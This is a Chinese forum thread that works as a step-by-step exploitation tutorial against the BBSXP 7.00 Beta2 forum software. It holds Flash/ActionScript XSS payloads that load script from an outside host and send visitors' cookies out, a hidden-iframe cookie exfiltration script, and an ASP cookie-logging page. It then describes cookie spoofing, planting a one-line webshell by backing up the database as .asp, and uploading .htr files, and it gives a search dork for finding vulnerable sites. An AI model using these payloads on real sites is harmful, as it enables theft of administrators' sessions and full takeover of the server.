服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 5635|回复: 1

bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子)

[复制链接]
wuqing 发表于 2007-1-6 00:18:33 | 显示全部楼层 |阅读模式
bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子呵呵 谢谢了啊!)

一.COOKIE欺骗轻取前台

漏洞文件:setup.asp

相关代码:

==========================================================================================

==============================================================================省略无关代码

if IsNumeric(Request.Cookies("UserID")) then
sql="select * from [BBSXP_Users] where ID="&Request.Cookies("UserID")&""
Set Rs=Conn.Execute(SQL)

if Rs.eof then
CleanCookies()
Response.Write "<script>window.setTimeout('window.location.reload();',2000)</script>"
Response.End
end if
if Request.Cookies("Userpass") <> Rs("Userpass") then
CleanCookies()
Response.Write "<script>window.setTimeout('window.location.reload();',2000)</script>"
Response.End
end if
CookieUserID=Rs("ID")
CookieUserName=Rs("UserName")
NewMessage=Rs("NewMessage")
UserRoleID=Rs("UserRoleID")
Rs.Close

==========================================================================================

==============================================================================省略无关代码

从上边的程序段中,我们可以看出,程序首先取出COOKIE中的UERID进行SQL的查询,如果成功,会将取

得的COOKIE中的USERPASS和数据库中的userpass(为了清楚,我这些小写)进行比,如果相同那么将数据

库中的id赋给cookieuserid,将数据库中的username赋给USERNAME。显然,这个程序存在COOKIE欺骗漏洞。

二。既然我们知道了其中的漏洞那么我们就来利用吧。首先我们把目标分成三个步骤:

1.cookie的获得

2.cookie的传递

3.cookie的欺骗

对于cookie的获得,我们当然马上想到了跨站。那么我们来看下发贴这里的代码吧。

文件:newtopic.asp

相关代码:

<!-- #include file="Setup.asp" -->

==========================================================================================

==============================================================================省略无关代码

Content=ContentEncode(Request.Form("Content"))

==========================================================================================

==============================================================================省略无关代码

程序用一个自定义的函数来过滤我们发表的代码。这里我们也了解到这个函数必定在setup.asp中。

文件:setup.asp

相关代码:

==========================================================================================

==============================================================================省略无关代码

function ContentEncode(fString)
fString=Replace(fString,vbCrlf, "")
fString=Replace(fString,"\","\")
fString=Replace(fString,"'","'")
fString=Replace(fString,"<A href=","<A target=_blank href=") '点链接打开新窗口
if SiteSettings("BannedHtmlLabel")<>"" then fString=ReplaceText(fString,"<(\/|)("&SiteSettings("BannedHtmlLabel")&")", "<$1$2")
if SiteSettings("BannedHtmlEvent")<>"" then fString=ReplaceText(fString,"<(.[^>]*)("&SiteSettings("BannedHtmlEvent")&")", "<$1$2")
if SiteSettings("BannedText")<>"" then
filtrate=split(SiteSettings("BannedText"),"|")
for i = 0 to ubound(filtrate)
fString=ReplaceText(fString,""&filtrate(i)&"",string(len(filtrate(i)),"*"))
next
end if
contentEncode=fString
end function

=========================================================================================

==============================================================================省略无关代码

在这里程序限制了 我们跨站最需要的两个字符 < > 分别过滤成 < > 。所以一般的跨站对此根本

发挥不了任何作用。还有就是大家都知道跨站的出现必须出现如下的过程才能成功:

恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器

但是程序把我们输入的代码进入处理之后,我们输的代码会源封不动的显示,说明我们的HTML并没有执行。

这里我们必须借住flash的威力了。

二。跨站可别忘了flash

一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画

并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数如下: 

getURL("javascript:window.open('http://用于收集Cookie的网页地址?'+document cookie)","_self");

我们先分析一下上面的AtionScript脚本

它使用AtionScript脚本函数"getURL"跳转到一个使用javascript协议的URL(javascript协议后面就是我们非常熟悉的javascript脚本代码)

在javascript中使用documents.cookie得到Cookie,并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址

最后使用window.open打开合成的URL地址

从而把Cookie用GET方式发送到用于收集Cookie的网页,并记录下来。 

通过上面的分析我们进一步了解那个弹出的IE窗口是由于javascript协议中的代码window.open所生成的

相信大家都知道window.open的第二个参数用来指定打开的窗口的名字

其通用名称有

"_media (IE6.0 在浏览器左边的媒体面板内打开)"

"_blank (在新窗口中打开)"

"_parent (在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于 _self)"

"_search (IE5.0 在浏览器左边的搜索面板内打开)"

"_self(在当前窗口中打开,覆盖当前文档)"

"_top (在所有框架之外的最顶层窗口中打开 。假如当前窗口无框架结构,此参数值等同于 _self )"等几种

如果我们以"_search"来打开窗口,不是就没有了弹出的IE窗口了吗?AtionScript脚本改为: 

getURL("javascript:window.open('http://用于收集Cookie的网页地址?'+document cookie,'_search')","_self");

当然,这样做会打开搜索面板,也会引起怀疑,但却可以躲过那些关闭弹出窗口软件的追杀!

冰狐狼子写的一篇"打造一个完美的IE网页木马"文章中有下面这样一段代码: 

jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//'); 

window.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval();","icyfoxlovelace");  

使用了javascript协议把自己网站上的一个js代码文件插入到了本地文件中,同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中

相应的AtionScript脚本改为: 

getURL("javascript:document.all.tags('SCRIPT')[0].src='http://www.hackwolf.cn/xss/1.js';eval();","_self");

stop();

其中1.js得内容如下: 

cookieurl="http://用于收集Cookie的网页地址?cookie="+escape(documents.cookie); 

/*这里使用了escape()对cookie编码,用来防止cookie中的一些特殊字符*/ 

document.body.insertAdjacentHTML('beforeEnd','<iframe WIDTH=0px HEIGHT=0px style="display:none;" src="'+cookieurl+'"><\/iframe>'); 

/*这里使用了insertAdjacentHTML在body的最后插入了一个不可见的框架*/ 

关于接受COOKIE的文件的编写:

<%
dim fso,file,str
str=unescape(request.Servervariables("QUERY_STRING"))
Const ForReading = 1, ForWriting = 2, ForAppending = 8 
Set fso = Server.createObject("Scripting.FileSystemObject") 
path = server.mappath("cookies.txt") 
set file=fso.opentextfile(path, ForAppending, TRUE)
file.write("盗得的cookie中的Eremite,UserID,UserPass分别是cookie欺骗要用到的三个参数。黑狼技术小组友情检测by品透泡菜:")  
file.write(str)  
file.write vbCrLf
file.close
set file = nothing 
set fso = nothing
%>

这里主要是利用了可以在一个网页中引入不同域中的javascript代码文档,而且所引入的javascript代码文档会和本网页融为一体的特点! 

因为在COOKIE中存在了一些特殊字符,所以上面代码我用了escape()对cookie编码,在接受到cookie后请注意用unescape()来解码! 

现在我们把FLASH嵌在发贴子的地方吧。这样管理员看了我们的贴,他的COOKIE就会乖乖的出现在我们设定的地方。

三.COOKIE欺骗显神通

在我们得到COOKIE之后就是进行欺骗,过程很简单大家看我操作就行了。

四。前台有路你不走,后台无门你也闯。

后台验证采用的是session验证,这样的话,我们利用COOKIE欺骗是进不去的。原因大家也知道。

开始我也不知道怎么办,但是看了TTFCT的文章之后,我也不敢苟同。

首先前后台的存帐号密码的表是不同的,因此如果照他的话说我们还得再利用跨站在盗一次COOKIE。

但是有别于刚刚盗的QQ我们必须处理好生成的文件名。

在这里我还有一个问题。

第一。一般人设了帐号密码前后台基本都是一样的,所以当我们得到前台的COOKIE时就可以直接去破。

第二。照TTFCT所说的,当管理在审核的时候,他为了给一个理由对你发的帖子删不删。

这样当管理员点了你的帖子 这样就能得到后台密码了。但是,当管理员去浏览你的帖子,那必定是在前台,他一进入前台。你能所能盗的COOKIE还是前台的

根本弄不到后台的。因此,要进后台惟一就是破前台的COOKIE看运气好坏,如果运气好的话一样不好的话,自认倒霉。

四。运气决定一切

如果你有幸进入后台,那么恭喜你了。进了后台我们就能做很多事了。

首先看数据库这块:但是很不幸,下面的代码就告诉你了,数据库的路径是系统指定的,我们改不了,恢复也一样。所以这条路被堵死。

<table cellspacing="1" cellpadding="5" width="70%" border="0" class="a2" align="center">
<tr>
<td class=a1 align=center colspan=2>备份数据库</td>
</tr>
<tr>
<td class=a3 align=center colspan=2>
<table cellpadding="0" cellspacing="0" width="90%">
<tr>
<td width="30%">数据库路径: </td>
<td width="70%">database/bbsxp7.mdb</td>
</tr>
<tr>
<td width="30%">备份的数据库路径:</td>
<td width="70%"><input size="30" value="database/bbsxp7(2006-10-2).mdb" name="BakDbPath"></td>
</tr>
<tr>
<td width="100%" align="center" colspan="2">
<input type="submit" value=" 备 份 "><br></td>
</tr>
</table>
</td></tr></table></form>
<table cellspacing="1" cellpadding="5" width="70%" border="0" class="a2" align="center">
<tr>
<td class=a1 align=center colspan=2>恢复数据库</td>
</tr>
<tr>
<td class=a3 align=center colspan=2>
<table cellpadding="0" cellspacing="0" width="90%">
<tr>
<td width="30%">备份的数据库路径: </td>
<td width="70%">
<input size="30" value="database/bbsxp7(2006-10-2).mdb" name="BakDbPath"></td>
</tr>
<tr>
<td width="30%">数据库路径:</td>
<td width="70%">database/bbsxp7.mdb</td>
</tr>
<tr>
<td width="100%" align="center" colspan="2">
<input type="submit" value=" 恢 复 "><br></td>
</tr>
</table></td></tr></table>
</form>

再次,我们可以这么利用,首先在公告这里写一个一句话进数据库,然后把数据库备份成*.asp格式这样就能突破了。(数据库没有做防下载处理)

还有办法就是在添加类型加一个htr,大家都知道 htr也是通过asp.dll进行解析的。那为什么不能添加别的类型呢,因为程序有限制,限制了asp asa cdx cer

但是没有限制这个所以我们就可以传它了。其实如果代码写成只允许哪些类型的话就不会出现这样的问题了。

长长的分析说完了 教程也写完了 程序的关键字很简单:powered by bbsxp 或powered bbsxp 7.00 Beta2 前面的版本均存在这里所提到的漏洞。
至尊玉 发表于 2006-5-16 17:26:31 | 显示全部楼层

re:bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子)

建立了一个管理员权限的帐户!

不知道对不对!

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-3-29 08:32 , Processed in 0.198359 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表